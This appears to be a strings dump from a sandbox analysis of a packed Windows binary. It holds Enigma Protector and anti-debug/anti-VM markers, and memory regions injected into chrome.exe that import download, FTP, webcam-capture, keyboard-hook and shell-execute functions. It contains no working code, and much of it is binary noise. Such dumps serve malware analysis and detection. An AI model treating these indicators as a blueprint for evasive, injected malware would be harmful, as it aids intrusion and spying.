WIN_VER_WINDOWS98SE

Windows ME

WIN_VER_WINDOWSME

Windows 2000

WIN_VER_WINDOWS2000

Windows 2000 Professional

WIN_VER_WINDOWS2000PROF

Windows 2000 Data Server

WIN_VER_WINDOWS2000DATASERVER

Windows 2000 Advanced Server

WIN_VER_WINDOWS2000ADVSERVER

Windows 2000 Server

WIN_VER_WINDOWS2000SERVER

Windows XP

WIN_VER_WINDOWSXP

Windows XP Home

WIN_VER_WINDOWSXPHOME

Windows XP Professional

WIN_VER_WINDOWSXPPROF

Windows XP Professional x64

WIN_VER_WINDOWSXPPROFx64

Windows XP Professional Datacenter x64

WIN_VER_WINDOWSXPPROFDATACENTERx64

Windows XP Professional Enterprise x64

WIN_VER_WINDOWSXPPROFENERPRICEx64

Windows XP Professional Standart x64

WIN_VER_WINDOWSXPPROFSTANDARTx64

Windows 2003

Windows 2003 Server

WIN_VER_WINDOWS2003SERVER

Windows 2003 Server R2

WIN_VER_WINDOWS2003SERVERR2

Windows 2003 Storage Server

WIN_VER_WINDOWS2003STORAGESERVER

Windows 2003 Datacenter Itanium

WIN_VER_WINDOWS2003DATACENTERITANIUM

Windows 2003 Enterprise Itanium

WIN_VER_WINDOWS2003ENTERPRICEITANIUM

Windows 2003 Datacenter x64

WIN_VER_WINDOWS2003DATACENTERx64

Windows 2003 Enterprise x64

WIN_VER_WINDOWS2003ENERPRICEx64

Windows 2003 Standart x64

WIN_VER_WINDOWS2003STANDARTx64

Windows 2003 Compute

WIN_VER_WINDOWS2003COMPUTE

Windows 2003 Datacenter

WIN_VER_WINDOWS2003DATACENTER

Windows 2003 Enterprise

WIN_VER_WINDOWS2003ENTERPRICE

Windows 2003 Web

WIN_VER_WINDOWS2003WEB

Windows 2003 Standart

WIN_VER_WINDOWS2003STANDART

Windows Vista

WIN_VER_WINDOWSVISTA

Windows Vista Business

WIN_VER_WINDOWSVISTA_BUSINESS

Windows Vista Cluster Server

WIN_VER_WINDOWSVISTA_CLUSTER_SERVER

Windows Vista Datacenter Server

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER

Windows Vista Datacenter Server Core

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE

Windows Vista Datacenter Server Core V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE_V

Windows Vista Datacenter Server V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_V

Windows Vista Enterprise

WIN_VER_WINDOWSVISTA_ENTERPRICE

Windows Vista Enterprise Server

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER

Windows Vista Enterprise Server Core

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE

Windows Vista Enterprise Server V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_V

Windows Vista Enterprise Server Core V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE_V

Windows Vista Enterprise Server IA64

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_IA64

Windows Vista Home Basic

WIN_VER_WINDOWSVISTA_HOME_BASIC

Windows Vista Home Premium

WIN_VER_WINDOWSVISTA_HOME_PREMIUM

Windows Vista Home Server

WIN_VER_WINDOWSVISTA_HOME_SERVER

Windows Vista Server For Small Business

WIN_VER_WINDOWSVISTA_SERVER_FOR_SMALLBUSINESS

Windows Vista Small Business Server

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER

Windows Vista Small Business Server Premium

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER_PREMIUM

Windows Vista Medium Business Server Management

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows Vista Medium Business Server Messaging

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MESSAGING

Windows Vista Medium Business Server Security

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_SECURITY

Windows Vista Standard Server

WIN_VER_WINDOWSVISTA_STANDARD_SERVER

Windows Vista Standard Server V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_V

Windows Vista Standard Server Core

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE

Windows Vista Standard Server Core V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE_V

Windows Vista Starter

WIN_VER_WINDOWSVISTA_STARTER

Windows Vista Storage Enterprise Server

WIN_VER_WINDOWSVISTA_STORAGE_ENTERPRISE_SERVER

Windows Vista Storage Express Server

WIN_VER_WINDOWSVISTA_STORAGE_EXPRESS_SERVER

Windows Vista Storage Standard Server

WIN_VER_WINDOWSVISTA_STORAGE_STANDARD_SERVER

Windows Vista Storage Workgroup Server

WIN_VER_WINDOWSVISTA_STORAGE_WORKGROUP_SERVER

Windows Vista Undefined

WIN_VER_WINDOWSVISTA_UNDEFINED

Windows Vista Ultimate

WIN_VER_WINDOWSVISTA_ULTIMATE

Windows Vista Web Server

WIN_VER_WINDOWSVISTA_WEB_SERVER

Windows Vista Web Server Core

WIN_VER_WINDOWSVISTA_WEB_SERVER_CORE

Windows Vista Unlicensed

WIN_VER_WINDOWSVISTA_UNLICENSED

Windows 2008

WIN_VER_WINDOWS2008

Windows 2008 Business

WIN_VER_WINDOWS2008_BUSINESS

Windows 2008 Cluster Server

WIN_VER_WINDOWS2008_CLUSTER_SERVER

Windows 2008 Datacenter Server

WIN_VER_WINDOWS2008_DATACENTER_SERVER

Windows 2008 Datacenter Server Core

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE

Windows 2008 Datacenter Server Core V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE_V

Windows 2008 Datacenter Server V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_V

Windows 2008 Enterprise

WIN_VER_WINDOWS2008_ENTERPRICE

Windows 2008 Enterprise Server

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER

Windows 2008 Enterprise Server Core

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE

Windows 2008 Enterprise Server V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_V

Windows 2008 Enterprise Server Core V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE_V

Windows 2008 Enterprise Server IA64

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_IA64

Windows 2008 Home Basic

WIN_VER_WINDOWS2008_HOME_BASIC

Windows 2008 Home Premium

WIN_VER_WINDOWS2008_HOME_PREMIUM

Windows 2008 Home Server

WIN_VER_WINDOWS2008_HOME_SERVER

Windows 2008 Server For Small Business

WIN_VER_WINDOWS2008_SERVER_FOR_SMALLBUSINESS

Windows 2008 Small Business Server

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER

Windows 2008 Small Business Server Premium

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 Medium Business Server Management

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 Medium Business Server Messaging

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 Medium Business Server Security

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 Standard Server

WIN_VER_WINDOWS2008_STANDARD_SERVER

Windows 2008 Standard Server V

WIN_VER_WINDOWS2008_STANDARD_SERVER_V

Windows 2008 Standard Server Core

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE

Windows 2008 Standard Server Core V

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE_V

Windows 2008 Starter

WIN_VER_WINDOWS2008_STARTER

Windows 2008 Storage Enterprise Server

WIN_VER_WINDOWS2008_STORAGE_ENTERPRISE_SERVER

Windows 2008 Storage Express Server

WIN_VER_WINDOWS2008_STORAGE_EXPRESS_SERVER

Windows 2008 Storage Standard Server

WIN_VER_WINDOWS2008_STORAGE_STANDARD_SERVER

Windows 2008 Storage Workgroup Server

WIN_VER_WINDOWS2008_STORAGE_WORKGROUP_SERVER

Windows 2008 Undefined

WIN_VER_WINDOWS2008_UNDEFINED

Windows 2008 Ultimate

WIN_VER_WINDOWS2008_ULTIMATE

Windows 2008 Web Server

WIN_VER_WINDOWS2008_WEB_SERVER

Windows 2008 Web Server Core

WIN_VER_WINDOWS2008_WEB_SERVER_CORE

Windows 2008 Unlicensed

WIN_VER_WINDOWS2008_UNLICENSED

Windows 2008 R2

WIN_VER_WINDOWS2008R2

Windows 2008 R2 Business

WIN_VER_WINDOWS2008R2_BUSINESS

Windows 2008 R2 Cluster Server

WIN_VER_WINDOWS2008R2_CLUSTER_SERVER

Windows 2008 R2 Datacenter Server

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER

Windows 2008 R2 Datacenter Server Core

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE

Windows 2008 R2 Datacenter Server Core V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE_V

Windows 2008 R2 Datacenter Server V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_V

Windows 2008 R2 Enterprise

WIN_VER_WINDOWS2008R2_ENTERPRICE

Windows 2008 R2 Enterprise Server

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER

Windows 2008 R2 Enterprise Server Core

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE

Windows 2008 R2 Enterprise Server V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_V

Windows 2008 R2 Enterprise Server Core V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE_V

Windows 2008 R2 Enterprise Server IA64

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_IA64

Windows 2008 R2 Home Basic

WIN_VER_WINDOWS2008R2_HOME_BASIC

Windows 2008 R2 Home Premium

WIN_VER_WINDOWS2008R2_HOME_PREMIUM

Windows 2008 R2 Home Server

WIN_VER_WINDOWS2008R2_HOME_SERVER

Windows 2008 R2 Server For Small Business

WIN_VER_WINDOWS2008R2_SERVER_FOR_SMALLBUSINESS

Windows 2008 R2 Small Business Server

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER

Windows 2008 R2 Small Business Server Premium

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 R2 Medium Business Server Management

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 R2 Medium Business Server Messaging

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 R2 Medium Business Server Security

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 R2 Standard Server

WIN_VER_WINDOWS2008R2_STANDARD_SERVER

Windows 2008 R2 Standard Server V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_V

Windows 2008 R2 Standard Server Core

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE

Windows 2008 R2 Standard Server Core V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE_V

Windows 2008 R2 Starter

WIN_VER_WINDOWS2008R2_STARTER

Windows 2008 R2 Storage Enterprise Server

WIN_VER_WINDOWS2008R2_STORAGE_ENTERPRISE_SERVER

Windows 2008 R2 Storage Express Server

WIN_VER_WINDOWS2008R2_STORAGE_EXPRESS_SERVER

Windows 2008 R2 Storage Standard Server

WIN_VER_WINDOWS2008R2_STORAGE_STANDARD_SERVER

Windows 2008 R2 Storage Workgroup Server

WIN_VER_WINDOWS2008R2_STORAGE_WORKGROUP_SERVER

Windows 2008 R2 Undefined

WIN_VER_WINDOWS2008R2_UNDEFINED

Windows 2008 R2 Ultimate

WIN_VER_WINDOWS2008R2_ULTIMATE

Windows 2008 R2 Web Server

WIN_VER_WINDOWS2008R2_WEB_SERVER

Windows 2008 R2 Web Server Core

WIN_VER_WINDOWS2008R2_WEB_SERVER_CORE

Windows 2008 R2 Unlicensed

WIN_VER_WINDOWS2008R2_UNLICENSED

Windows 7

WIN_VER_WINDOWSSEVEN

Windows 7 Business

WIN_VER_WINDOWSSEVEN_BUSINESS

Windows 7 Cluster Server

WIN_VER_WINDOWSSEVEN_CLUSTER_SERVER

Windows 7 Datacenter Server

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER

Windows 7 Datacenter Server Core

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE

Windows 7 Datacenter Server Core V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE_V

Windows 7 Datacenter Server V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_V

Windows 7 Enterprise

WIN_VER_WINDOWSSEVEN_ENTERPRICE

Windows 7 Enterprise Server

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER

Windows 7 Enterprise Server Core

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE

Windows 7 Enterprise Server V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_V

Windows 7 Enterprise Server Core V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE_V

Windows 7 Enterprise Server IA64

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_IA64

Windows 7 Home Basic

WIN_VER_WINDOWSSEVEN_HOME_BASIC

Windows 7 Home Premium

WIN_VER_WINDOWSSEVEN_HOME_PREMIUM

Windows 7 Home Server

WIN_VER_WINDOWSSEVEN_HOME_SERVER

Windows 7 Server For Small Business

WIN_VER_WINDOWSSEVEN_SERVER_FOR_SMALLBUSINESS

Windows 7 Small Business Server

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER

Windows 7 Small Business Server Premium

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER_PREMIUM

Windows 7 Medium Business Server Management

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 7 Medium Business Server Messaging

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 7 Medium Business Server Security

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_SECURITY

Windows 7 Standard Server

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER

Windows 7 Standard Server V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_V

Windows 7 Standard Server Core

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE

Windows 7 Standard Server Core V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE_V

Windows 7 Starter

WIN_VER_WINDOWSSEVEN_STARTER

Windows 7 Storage Enterprise Server

WIN_VER_WINDOWSSEVEN_STORAGE_ENTERPRISE_SERVER

Windows 7 Storage Express Server

WIN_VER_WINDOWSSEVEN_STORAGE_EXPRESS_SERVER

Windows 7 Storage Standard Server

WIN_VER_WINDOWSSEVEN_STORAGE_STANDARD_SERVER

Windows 7 Storage Workgroup Server

WIN_VER_WINDOWSSEVEN_STORAGE_WORKGROUP_SERVER

Windows 7 Undefined

WIN_VER_WINDOWSSEVEN_UNDEFINED

Windows 7 Ultimate

WIN_VER_WINDOWSSEVEN_ULTIMATE

Windows 7 Web Server

WIN_VER_WINDOWSSEVEN_WEB_SERVER

Windows 7 Web Server Core

WIN_VER_WINDOWSSEVEN_WEB_SERVER_CORE

Windows 7 Unlicensed

WIN_VER_WINDOWSSEVEN_UNLICENSED

Portuguese (Brazil)

Portuguese (Portugal)

Enigma_Plugin_OnSaveKey

Enigma_Plugin_OnLoadKey

ntdll.dll

LS_Enigma_Plugin_OnDeleteKey

TExecutedProcess

ZwOpenKey

ZwEnumerateValueKey

ZwQueryKey

ZwQueryValueKey

ZwCreateKey

ZwEnumerateKey

ZwSetValueKey

ZwDeleteKey

ZwDeleteValueKey

ZwFlushKey

ZwLoadKey

ZwLoadKey2

ZwNotifyChangeKey

ZwQueryMultipleValueKey

ZwReplaceKey

ZwRestoreKey

ZwSaveKey

ZwSetInformationKey

ZwUnloadKey

ZwOpenKeyEx

TExported`

Uh%cg

TComboBoxExEnumerator

ssHorizontal

Uh%ci

OnExecute

WindowStateDmj

AutoHotkeys

AutoHotkeys`kj

w:\3rdparty\TntUnicode\Source\TntActnList.pas

PasswordChar

w:\3rdparty\TntUnicode\Source\TntStdCtrls.pas

Uh.el

w:\3rdparty\TntUnicode\Source\TntForms.pas

w:\3rdparty\TntUnicode\Source\TntMenus.pas

Internal Error: SyncHotKeyPosition Failed ("%s" <> "%s").

w:\3rdparty\TntUnicode\Source\TntControls.pas

Internal Error: SubClassUnicodeControl.Control is not Unicode.

.UnicodeClass

TntUnicodeVcl.DestroyWindow

Internal Error: Control does not support ITntGlyphButton.

dtPostMsg

Software\Microsoft\Windows\CurrentVersion

ProductKey

Software\Microsoft\Windows NT\CurrentVersion

\\.\PhysicalDrive0

\\.\%s

\\.\Scsi0:

\\.\SMARTVSD

w:\3rdparty\TntUnicode\Source\TntRegistry.pas

#$%&'()* ,-./01234

PSAPI.dll

VBoxService.exe

ÞFAULT FOLDER%

%SYSTEM FOLDER%

%WINDOWS FOLDER%

Mutex object: Unique: %d-%d. Number: %d

X%xwb7lC

DLL_Loader_Import_Unit

TInitImport

DLL_Loader_Import_Unit<

Could not load library: %s

File not found: %s

Can't find DLL entry point %s in %s

"%s" %s

%s %s

mscorwks.dll

mscoreei.dll

clr.dll

%s\%.8x%.8x-%.8x%.8x

coRegistratioKey

ZwQuerySection, Unsupported class %d

KeySetValue unsupported value type

ZwQueryValueKey, unsupported class %d

ZwQueryKey, unsupported class %d

ZwQueryObject with unsupported class

ZwReadFileInformation with unsupported class

ZwSetInformationFile with unsupported class

.Yo[P

sxs.dll

THookWindowsAPI

\\.\NTICE

\\.\SICE

\\.\SIWDEBUG

)TEnigmaProtectorLoaderFormStartuppassword

DLL_Loader_RunPassword_Unit

d.lBl

decrypt_on_execute_begin

ECRONEXECB

decrypt_on_execute_end

ECRONEXECE

.section

@``@``@``@``@``@``@``@

@``@``@``@``@``

_enigma_keygen_routines

TntWindows

virtualboximportunit

KeyRoutines

nJwaWindows

 DLL_Loader_Import_Unit

Uh.Ut

a.common

a.interp.memman

t_vm_executable_memory_manager(

a.interp.main

_SShH

{-q}V_

IQ.wM%

>I.pf

.Zh|S

Jr9L.qS"

#$%DqSN

%CS}S.n

U}S .kX?

-Rc}S

<=S.ySN

%C#]S

|SI.vi

yS.kh

<#%uS

!Z.yS

u.b.yS

|E.ob

ySI.zh

mS.Pp

%dnuS?

.tQrS

qS.nv

v.RS~S

O9%U~S2

xS.qD

F.Impe

7<|S2

xS.oR

%Sy|S

qS.qf

{I.Ke

i?.xT

85.qS

xS.PL

""%xS

\S.PX

uS.qe

.MS!?rEE

XpS.qw

-1E}tSS:m

%CYqS.

0-K}S

pS?.YH

-W4}p}S

E}S.ox

-MM}S

.JNyS

/-3}S

tS?.lF

A?.hA2

yS?.NE

qS.QA

]}S.oI

9].uS"

??.oX

-d9}S

S?n%F

kyS.oj

yS.QK

Q?.fO

D~S?.AW

rS.Nl

.UZrS

K.dkrSu1`

1-.vS

.rS3]

.cXrS

}S.Oe

.jtzS"

%4uvSN

(<DrS.pB

RvS.Pt

%xS?r{Y

xS?.cZ

8l{|S"Fj%s

?..Xz

R67CrtS

I-1}SK

.CYxS:

|S?.CI

"5.pS.PW

xS?.yU

u.ATlS

%sSxSN

I.Ire

SSSh,

-.our

vrh%c

)W.Mhwn

.UQhTV

f.mh 5

.AKs"

5.Dfx

vZ.pQ

-S3}}

CKv.AKv

advapi32.dll

version.dll

gdi32.dll

shell32.dll

SHFolder.dll

shlwapi.dll

GetWindowsDirectoryW

GetWindowsDirectoryA

GetCPInfo

GetKeyboardType

VkKeyScanW

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyW

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextW

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegFlushKey

RegCreateKeyExA

SetViewportOrgEx

ShellExecuteW

ShellExecuteA

RtlFormatCurrentUserKeyPath

2 2$2(2,2024282<2\2|2

=(>,>0>4>8><>~>

>">&>*>.>2>

7 7$7(7,7074787\8

5-6n6}6

2!2&21282

8 8$8(8,8084888[8}8

:":9:\:?;

0 0$0(060>0

1 1$1(1,1014181<1@1

5h6X6

1#1'1 1/13171

0F1V1"2?2(484Y4q4]5a5

1&1>1\1|1

2!2%2)2-2125292=2

> >$>(>,>0>4>8><>

?#?=?_?|?

4 4$4(4,4044484<4

? ?$?(?,?0?4?8?<?

5!5,54595_5

E'..ze

=%CO>\

<&=.>6&>

< =(>0%8

?(?,?0?4.8

L?T.Xn

6ún

|Ë"\b[P

$;><n%x

4=Q.YT

BN

]%XY:U

.Jx-?

Yg4.YT

kern0l32.ud

:z.dk>d

t:\N424

SDhDw.rs

456789 /

Key^w

%s[fd]

YL%COH@

n"%F!

L;%C@t

w:\3rdpa

(%sp)

SSHy%l

|.VMe

8%S(U

nZ<%F

Z".HxdP5

Prkey

.DjC0Q&ZH

88E8F8A8U8L6T)

*.BT 

n<%Un}

KP>`%d

hrl%DI

.fHAC

8@ý

|.CN4

7VRn:.IY

.)%FX(

tm;%S

P.yZ4A

ýbH!

FK%2SR

t' %u

"hhW\sQlJ

.nrKu

%SA <<

\V%u@J

%SWv9Ia%

MAIN%C

U%C<_

keys

%C\}94f

%xiED!%m${

%s d(

uX%XN(

Q.KPe

-y.lO

w:\3rd:pa

;AKeyC

-%F W

("%s?

4,TK<y%c

.wnb'

$%&'()* 

X%xwb

-uEV},

=Q%uN|

.%u\C

.Wd#dD"

MSgfH

1.hEJ

#!v%u

d{.xA

..WQ"

8$4,6-9'

>.fCiZ3

mRJtf.Mat

;X.VB

d{.xA&

SV.ZR

.eM69

.Pr@R

l`xN.IF

i?.xTg

t-K<%x

Q,N.jC@

I%x8H

vt%dV

%sFV@

7/.yf

A%FSI/

ck.Mq.

R.inB

d-WD}L

^.PR1

<uDP%`

pH%UL

%s!_-@

.et?7

{ÔV

[>S'.DKK,

%U'Q$

_= Oc

}r@.TL

%XIA>.

$Q%BY%u

v;.np

\5.TV

\&%S`J[

#%U`Q

2@O%S

\=%uO

k,%X"5

6f.VP>

.wLE^

\I8%Fh

.qg='

csÓk

SX0%x

M8.VY

Qk^%Fj

]X3

`UdpJ@

6%3xy

<H %c

3B3nþ

&/V"%c^H

Tp%2u

d.DSV

%S_ @

%SI;,

y"%U 

%S}%P~D4

%CV\kb^[

P'Wh%D

J6!%U8

%xEDH#

R.cmb\

X.xy'

%2Sv>s

p:%co

.RT>P:4

I%-.ky1`

z%FY%e

!s6%u

%f_9i

e.IDf

|n2!

Rq,%U

)W.MhwY.

f.mh 

2!`.Eaa

u.kI]O

5.Gfx

^!tCp

##}\!2}_

l`-.Th

!4.ep

x:$%dvJ]

%cPxZ

]KJ%Sp

8!9=%:);-/1

Site : hXXp://VVV.enigmaprotector.com/

E-mail : support@enigmaprotector.com

Lisence holder: %s

Add to custom colors set8Listbox (%s) style must be virtual in order to set Count

Error setting %s.Count

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters&Cannot change the size of a JPEG image

JPEG error #%d

No help keyword specified.

Unable to insert a line Clipboard does not support Icons

Cannot open clipboard/Menu '%s' is already being used by another form

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'

Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic

Unsupported clipboard format

Invalid property element: %s

Invalid property value List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Operation not supported

External exception %x

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time

I/O error %d

Unspecified error (%d) from %s.

%Cookies FOLDER%

debug.log

enigma_ide.dll

%s - Entry Point Not Found

The procedure entry point %s could not be located in the dynamic link library %s.

ÚysToKeyExp%

%RegKey%

%KeyExpYear%

%KeyExpMonth%

%KeyExpDay%

%CU_EXTFILES%

%CU_EXECPR%

%CU_INSTSERV%

%CU_WINVER%

%CU_VIRTTOOLS%

%TrialExecsTotal%

%TrialExecsLeft%

%TrialExecMinsTotal%

%TrialExecMinsLeft%

hh.exe

write.exe

attrib.exe

chkdsk.exe

compact.exe

find.exe

help.exe

winver.exe

regsvr32.exe

replace.exe

dllhost.exe

ntvdm.exe

tcpsvcs.exe

Was not able to create virtual value at ImportCall_ZwSetValueKey

Was not able to create virtual key at ImportCall_ZwSetValueKey

ImportCall_ZwLoadKey

ImportCall_ZwLoadKey2

ImportCall_ZwNotifyChangeKey

ImportCall_ZwQueryMultipleValueKey

ImportCall_ZwReplaceKey

ImportCall_ZwRestoreKey

ImportCall_ZwSaveKey

ImportCall_ZwSetInformationKey

ImportCall_ZwUnloadKey

evb*.tmp

.manifest

Unsupported call of ZwSetVolumeInformationFile

Application requires password to start

Enter password

Change password

New password:

Confirm new password:

RichEdit line insertion error=This control requires version 4.70 or greater of COMCTL32.DLL

Alt  Clipboard does not support Icons

Text exceeds memo capacity/Menu '%s' is already being used by another form

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Failed to set data for '%s'

Thread creation error: %s

Thread Error: %s (%d)

Invalid Format Specifier: %s7CreateClone not implemented for class %s with source %s

'%s' is an invalid mask at (%d)$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

Failed to get data for '%s'

.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

Application Error1Format '%s' invalid or incompatible with argument

!'%s' is not a valid integer value

chrome.exe_2824_rwx_00430000_00001000:

KERNEL32.DLL

chrome.exe_2824_rwx_00570000_00001000:

KERNEL32.DLL

chrome.exe_2824_rwx_005B0000_00001000:

KERNEL32.DLL

chrome.exe_2824_rwx_005F0000_00001000:

KERNEL32.DLL

chrome.exe_2824_rwx_00620000_00001000:

advapi32.dll

chrome.exe_2824_rwx_00650000_00001000:

RegOpenKeyA

chrome.exe_2824_rwx_00660000_00001000:

advapi32.dll

chrome.exe_2824_rwx_00690000_00001000:

AVICAP32.DLL

chrome.exe_2824_rwx_007F0000_00001000:

AVICAP32.DLL

chrome.exe_2824_rwx_00850000_00001000:

gdi32.dll

chrome.exe_2824_rwx_00890000_00001000:

gdi32.dll

chrome.exe_2824_rwx_01990000_00001000:

gdiplus.dll

chrome.exe_2824_rwx_019D0000_00001000:

gdiplus.dll

chrome.exe_2824_rwx_01A00000_00001000:

mpr.dll

chrome.exe_2824_rwx_01C40000_00001000:

mpr.dll

chrome.exe_2824_rwx_01C70000_00001000:

msacm32.dll

chrome.exe_2824_rwx_01CB0000_00001000:

msacm32.dll

chrome.exe_2824_rwx_01CE0000_00001000:

ntdll.dll

chrome.exe_2824_rwx_01E20000_00001000:

ntdll.dll

chrome.exe_2824_rwx_01E50000_00001000:

ole32.dll

chrome.exe_2824_rwx_01E90000_00001000:

ole32.dll

chrome.exe_2824_rwx_01EC0000_00001000:

oleaut32.dll

chrome.exe_2824_rwx_01F00000_00001000:

oleaut32.dll

chrome.exe_2824_rwx_01F30000_00001000:

powrprof.dll

chrome.exe_2824_rwx_01F70000_00001000:

powrprof.dll

chrome.exe_2824_rwx_021B0000_00001000:

shell32.dll

chrome.exe_2824_rwx_022E0000_00001000:

ShellExecuteA

chrome.exe_2824_rwx_022F0000_00001000:

shell32.dll

chrome.exe_2824_rwx_02320000_00001000:

user32.dll

chrome.exe_2824_rwx_02560000_00001000:

user32.dll

chrome.exe_2824_rwx_02690000_00001000:

wininet.dll

chrome.exe_2824_rwx_026C0000_00001000:

FtpOpenFileA

chrome.exe_2824_rwx_026D0000_00001000:

wininet.dll

chrome.exe_2824_rwx_02700000_00001000:

winmm.dll

chrome.exe_2824_rwx_02840000_00001000:

winmm.dll

chrome.exe_2824_rwx_02870000_00001000:

wsock32.dll

chrome.exe_2824_rwx_028B0000_00001000:

wsock32.dll

chrome.exe_2824_rwx_10480000_00065000:

`.rsrc

kernel32.dll

Portions Copyright (c) 1999,2003 Avenger by NhT

SHFileOperationA

shell32.dll

URLDownloadToFileA

urlmon.dll

ShellExecuteA

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

GetWindowsDirectoryA

SOFTWARE\Microsoft\Windows\CurrentVersion

http\shell\open\command

\Internet Explorer\iexplore.exe

####@####

